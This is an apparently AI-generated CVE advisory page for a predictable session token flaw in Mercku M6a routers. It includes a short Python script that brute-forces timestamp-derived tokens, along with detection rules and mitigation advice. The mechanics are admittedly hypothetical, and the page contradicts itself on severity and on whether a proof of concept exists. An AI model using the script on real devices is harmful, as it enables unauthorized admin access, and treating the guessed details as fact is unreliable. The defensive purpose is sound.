☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-330
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62774

CVE-2025-62774 Unauthorized Access in Mercku
📅 PUBLISHED: 2025-10-22 00:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1212
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 3.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
3.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62774 identifies a critical authentication weakness in Mercku M6a devices running firmware version 2.1.0 and earlier. The vulnerability stems from the use of predictable session tokens generated from timestamps, allowing an unauthenticated, remote attacker to forge valid session tokens and gain unauthorized access to the device's administrative interface. With a CVSS score of 3.1, the severity is considered low due to the low impact on confidentiality, but the ease of exploitation and lack of authentication requirements make it a significant risk for exposed devices. No public proof-of-concept (PoC) or patch is currently available, and the vendor has not released a fix.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 3.1 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure (session tokens).
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Low. While the vulnerability is easy to exploit, the impact is limited to session token prediction, which may lead to administrative access but does not directly compromise data integrity or availability.

Deep Dive & Mechanics

The Mercku M6a router's authentication system generates session tokens using a predictable algorithm based on timestamps. Specifically, the token generation likely uses the current system time (e.g., Unix epoch) as a seed or direct input, making it possible for an attacker to brute-force or predict valid tokens within a short window.

Root Cause: The use of time() or similar timestamp functions without cryptographic randomness (e.g., random_bytes(), openssl_random_pseudo_bytes()) in the token generation logic.

Attack Flow:

  1. The attacker sends a request to the device's login or session initiation endpoint.
  2. The device responds with a session token that is derived from the current timestamp.
  3. The attacker analyzes the token pattern (e.g., base64-encoded timestamp, MD5 of timestamp).
  4. The attacker generates a list of potential tokens for a future time window.
  5. The attacker sends requests with these tokens until one is accepted, gaining unauthorized access.

Example (Hypothetical): If the token is md5(time()), an attacker can compute md5(1712345678) and use it immediately.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical PHP):

// Vulnerable: token based on timestamp
$token = md5(time());
setcookie("session_token", $token, time()+3600);

Patched Code (Hypothetical PHP):

// Patched: use cryptographically secure random
$token = bin2hex(random_bytes(32));
setcookie("session_token", $token, time()+3600);

Key Difference: The patched version uses random_bytes(32) to generate a 256-bit random token, making prediction infeasible.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

  • Target: Mercku M6a device with firmware 2.1.0 (or emulated environment).
  • Attacker: Kali Linux with Python3 and requests library.

Exploitation Steps:

  1. Identify Token Pattern: Capture a legitimate session token using a proxy (e.g., Burp Suite) during login.
  2. Analyze Token: Decode the token (e.g., base64 decode) to see if it matches a timestamp format.
  3. Generate Predictions: Write a script to generate tokens for the next 60 seconds.
  4. Brute-force: Send requests with each predicted token until a valid session is obtained.

Python Exploit Script:

import requests
import hashlib
import time

target_url = "http://192.168.1.1/admin"
current_time = int(time.time())

# Assume token is md5(timestamp)
for offset in range(0, 60):
    predicted_token = hashlib.md5(str(current_time + offset).encode()).hexdigest()
    cookies = {"session_token": predicted_token}
    r = requests.get(target_url, cookies=cookies)
    if "Dashboard" in r.text:
        print(f"Valid token found: {predicted_token}")
        break

Blue Team (Defense & Detection)

Detection:

  • Monitor for rapid, repeated login attempts with varying session tokens.
  • Alert on multiple failed authentication attempts from a single IP within a short time window.

Mitigation:

  • Implement rate limiting on session token validation endpoints.
  • Use Web Application Firewall (WAF) rules to block requests with suspicious token patterns (e.g., tokens that are all numeric or match timestamp formats).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Repeated HTTP requests to /admin or /login with varying Cookie: session_token values.
    • Requests with session tokens that are 32-character hex strings (MD5) or base64-encoded timestamps.
  • Host IOCs:
    • Unauthorized administrative sessions in device logs.
    • Unexpected changes to router configuration (e.g., DNS, firewall rules).
  • File IOCs:
    • Log entries showing multiple failed token validation attempts.

Detection Engineering

YARA Rule

rule Detect_Predictable_Session_Token {
    meta:
        description = "Detects session tokens that are MD5 of timestamps in HTTP responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62774"
    strings:
        $md5_pattern = /[a-f0-9]{32}/  // MD5 hash
        $cookie_header = "Set-Cookie: session_token=" nocase
    condition:
        $cookie_header and #md5_pattern > 0
}

Sigma Rule

title: Predictable Session Token Brute-Force
id: 8c5a2f3e-1b2d-4a7e-9c8f-0d1e2f3a4b5c
status: experimental
description: Detects multiple failed login attempts with varying session tokens
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/admin"
        sc-status: 403
    condition: selection | count() by src_ip > 10 within 60s
falsepositives:
    - Legitimate users with multiple login attempts
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-62774 Predictable Session Token Attempt"; flow:to_server; content:"Cookie|3a| session_token="; pcre:"/[a-f0-9]{32}/"; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Remote Administration: If not required, disable WAN access to the router's admin interface.
  2. Restrict Access: Use firewall rules to allow admin access only from trusted IP addresses.
  3. Monitor Logs: Enable logging and monitor for suspicious session token activity.

Long-term Fix:

  • Vendor Patch: Await an official firmware update from Mercku that replaces timestamp-based tokens with cryptographically secure random tokens.
  • Workaround: If patching is not possible, consider replacing the device with a more secure alternative.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Mercku M6a
Mercku router

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62774/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.